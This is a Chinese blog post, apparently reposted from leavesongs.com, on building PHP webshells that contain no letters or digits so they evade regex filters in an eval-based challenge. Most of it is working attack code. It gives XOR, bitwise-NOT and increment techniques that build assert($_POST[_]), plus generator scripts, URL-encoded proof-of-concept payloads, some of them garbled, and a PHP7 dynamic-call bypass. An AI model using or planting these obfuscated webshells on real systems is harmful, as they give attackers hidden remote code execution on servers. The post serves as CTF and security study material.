不包含字母和数字的webshell
转载自:
[一些不包含数字和字母的webshell](https://www.leavesongs.com/PENETRATION/webshell-
without-alphanum.html)
[无字母数字webshell之提](https://www.leavesongs.com/PENETRATION/webshell-without-
alphanum-advanced.html)[高篇](https://www.leavesongs.com/PENETRATION/webshell-
without-alphanum-advanced.html)
首先感谢离别歌师傅的文章,有兴趣的小伙伴可以关注一下离别歌师傅的个人博客:离别歌
目录
- 基础篇
- 一、提出问题
- 二、思路
- 三、方法一
- 四、方法二
- 五、方法三
- 提高篇
- PHP7下绕过
基础篇
一、提出问题
如何编写一个不使用字母和数字的webshell?
<?php
highlight_file(__FILE__);
if (!preg_match('/[a-z0-9]/is', $_GET['shell'])) {
eval($_GET['shell']);
} else {
echo "hacker";
}
二、思路
使用非数字、字母的字符进行变换来得到字母和数字。
三、方法一
使用异或运算,两个字符串异或操作之后,得到的还是一个字符串,所以我们可以通过两个字符异或运算来得到另外一个字符。
写的PHP代码来得到我们想要的字符串:
<?php
/**
* 1、我需要做什么?
* 我需要的是将两个非字母数字的字符异或之后得到某个字母
* 2、我该怎么做?
* 使用一个循环来跟指定的字符进行异或,再判断是否是我们想要的内容
*/
$a = "]";
// 这个值必须是没有被过滤的值
$argv = str_split("POST");
// 这里是你要异或得到的值
for ($i = 0; $i < count($argv); $i++) {
for ($j = 0; $j < 255; $j++) {
$k = chr($j) ^ $a;
if ($k == $argv[$i]) {
$flag = dechex($j);
if (strlen($flag) < 2) {
$flag = "%0" . $flag;
echo "('$flag'^'$a').";
} else {
$flag = "%" . $flag;
echo "('$flag'^'$a').";
}
}
}
}
写的勉勉强强,大佬别骂……
然后我们可以构造这样的内容
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_=assert$__='_'.('%0d'^']').('%12'^']').('%0e'^']').('%09'^']'); // $__=_POST$___=$$__;$_($___[_]); // assert($_POST[_]);

这里有一个疑问,为什么前面的assert跟
]搭配就没作用了,后面的POST跟```搭配也没有作用
这里还有一个别人的脚本
<?php
$l = "";
$r = "";
$argv = str_split("POST");
for ($i = 0; $i < count($argv); $i++) {
for ($j = 0; $j < 255; $j++) {
$k = chr($j) ^ chr(255);
// dechex(255) = ff
if ($k == $argv[$i]) {
if ($j < 16) {
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%ff";
$r .= "%" . dechex($j);
continue;
}
}
}
echo "('$l'^'$r')";
?>
// poc$_=('%ff%ff%ff%ff%ff%ff'^'%9e%8c%8c%9a%8d%8b');// assert$__='_'.('%ff%ff%ff%ff'^'%af%b0%ac%ab');// _POST$___=$$__;// $_POST$_($___[_]);// assert($_POST[_])
也是可以使用的

经过测试发现:对PHP版本有限制(这只是个人测试的,不代表最终效果)
5.3.9<=PHP<=7.0.9
四、方法二
这个方法和第一个方法是差不多的,但是编写脚本……算了吧,我还是使用大佬现成的吧。这个方法是利用取反来得到字母,比如'和'{2}得到的结果为\x8c,取反得到的字母为s。这里想不太明白,复现成功,PHP版本会产生一定的影响,先放在这里,找时间来看看

<?php
$__ = ('>' > '<') + ('>' > '<');
$_ = $__ / $__;
$____ = '';
$___ = "瞰";
$____ .= ~($___{$_});
$___ = "和";
$____ .= ~($___{$__});
$___ = "和";
$____ .= ~($___{$__});
$___ = "的";
$____ .= ~($___{$_});
$___ = "半";
$____ .= ~($___{$_});
$___ = "始";
$____ .= ~($___{$__});
$_____ = '_';
$___ = "俯";
$_____ .= ~($___{$__});
$___ = "瞰";
$_____ .= ~($___{$__});
$___ = "次";
$_____ .= ~($___{$_});
$___ = "站";
$_____ .= ~($___{$_});
$_ = $$_____;
$____($_[$__]);
这里最好进行一次url编码
poc
1 | poc:%24%20%3D%20('%3E'%20%3E%20'%3C')%2B('%3E'%20%3E%20'%3C')%3B%24_%20%3D%20%24%20%2F%20%24%3B%24_%20%3D%20''%3B%24%20%3D%20%22%E7%9E%B0%22%3B%24_%20.%3D%20~(%24___%7B%24%7D)%3B%24%20%3D%20%22%E5%92%8C%22%3B%24%20.%3D%20~(%24_%7B%24%7D)%3B%24%20%3D%20%22%E5%92%8C%22%3B%24_%20.%3D%20~(%24_%7B%24%7D)%3B%24%20%3D%20%22%E7%9A%84%22%3B%24_%20.%3D%20~(%24___%7B%24%7D)%3B%24%20%3D%20%22%E5%8D%8A%22%3B%24%20.%3D%20~(%24___%7B%24%7D)%3B%24%20%3D%20%22%E5%A7%8B%22%3B%24%20.%3D%20~(%24_%7B%24%7D)%3B%24_%20%3D%20' |

经过测试发现:对PHP版本有限制(这只是个人测试的,不代表最终效果)
5.3.9<=PHP<=7.0.9
这里是利用了PHP的弱类型特性。因为要获取'和'{2},就必须有数字2。而PHP是弱类型语言,true的值为1,所以true+true==2,也就是('>'>'<')+('>'>'<')==2

将上面的代码运行一下(这里还有一些注释,大佬果然不一样啊……)
<?php
$__ = ('>' > '<') + ('>' > '<');
// $__ = 2
$_ = $__ / $__;
// $_ = 1
$____ = '';
$___ = "瞰";
$____ .= ~($___{$_});
// $___ = ~("瞰"{1}) => a
$___ = "和";
$____ .= ~($___{$__});
// $___ = ~("和"{2}) => as
$___ = "和";
$____ .= ~($___{$__});
// $___ = ~("和"{2}) => ass
$___ = "的";
$____ .= ~($___{$_});
// $___ = ~("的"{1}) => asse
$___ = "半";
$____ .= ~($___{$_});
// $___ = ~("半"{1}) => asser
$___ = "始";
$____ .= ~($___{$__});
// $___ = ~("始"{2}) => assert
//# 最后:$____ = assert
$_____ = '_';
$_____ = '_';
$___ = "俯";
$_____ .= ~($___{$__});
// $___ = ~("俯"{2}) => _P
$___ = "瞰";
$_____ .= ~($___{$__});
// $___ = ~("瞰"{2}) => _PO
$___ = "次";
$_____ .= ~($___{$_});
// $___ = ~("次"{1}) => _POS
$___ = "站";
$_____ .= ~($___{$_});
// $___ = ~("站"{1}) => _POST
// 最后:$_____ = _POST
$_ = $$_____;// $_POST
$____($_[$__]);// assert($_POST[2])

五、方法三
方法二是使用了位运算,方法三是不再使用位运算来搞定这个题目的,完全阐释了这两张图啊,大佬才能想出来的东西,我直接好家伙……



说了这么多,其实就是'a'++ => 'b','b'++ => 'c',所以我们只要拿到一个变量就可以得到所以的变量了
这时候大佬又正好了,而我是直接放弃了……数组中可以得到大小写a,就相当于我们拿到了所有的字母

利用这个技巧,我们就可以编写如下的webshell了
<?phphighlight_file(__FILE__);$_=[];$_=@"$_"; // $_='Array';$_=$_['!'=='@']; // $_=$_[0];$___=$_; // A$__=$_;// 因为A和S相差18,所以要$__++十八次,下面也是相同的道理$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__; // S$___.=$__; // S$__=$_;$__++;$__++;$__++;$__++; // E $___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T$____.=$__;$_=$$____;$___($_[_]); // ASSERT($_POST[_]);
php对大小写不敏感,所以使用ASSERT($_POST[_]);也是可以的,运行结果如下:

绕过也是成功的:
老规矩,还是得进行url编码
1 | %24%3D%5B%5D%3B%24%3D%40%22%24%22%3B%24%3D%24%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24%3B%24%3D%24_%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24_.%3D%24%3B%24_.%3D%24%3B%24%3D%24%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24_.%3D%24%3B%24__%3D%24%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24_.%3D%24%3B%24%3D%24%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24_.%3D%24%3B%24__%3D' |

经过测试发现:对PHP版本有限制(这只是个人测试的,不代表最终效果)
5.4.45<=PHP<=7.0.9
提高篇
源码:
<?php
if (isset($_GET['code'])) {
$code = $_GET['code'];
if (strlen($code) > 35) {
die("Long.");
}
if (preg_match("/[A-Za-z0-9_$]+/", $code)) {
die("NO.");
}
eval($code);
} else {
highlight_file(__FILE__);
}
PHP7下绕过
PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。所以我们构造一个phpinfo字符串即可。

PHP5下绕过
看的有点懵逼,有时间再看看,有兴趣的小伙伴可以去P神的原文看看,文章的顶部有链接,是我太菜了……
再次感谢大佬的文章!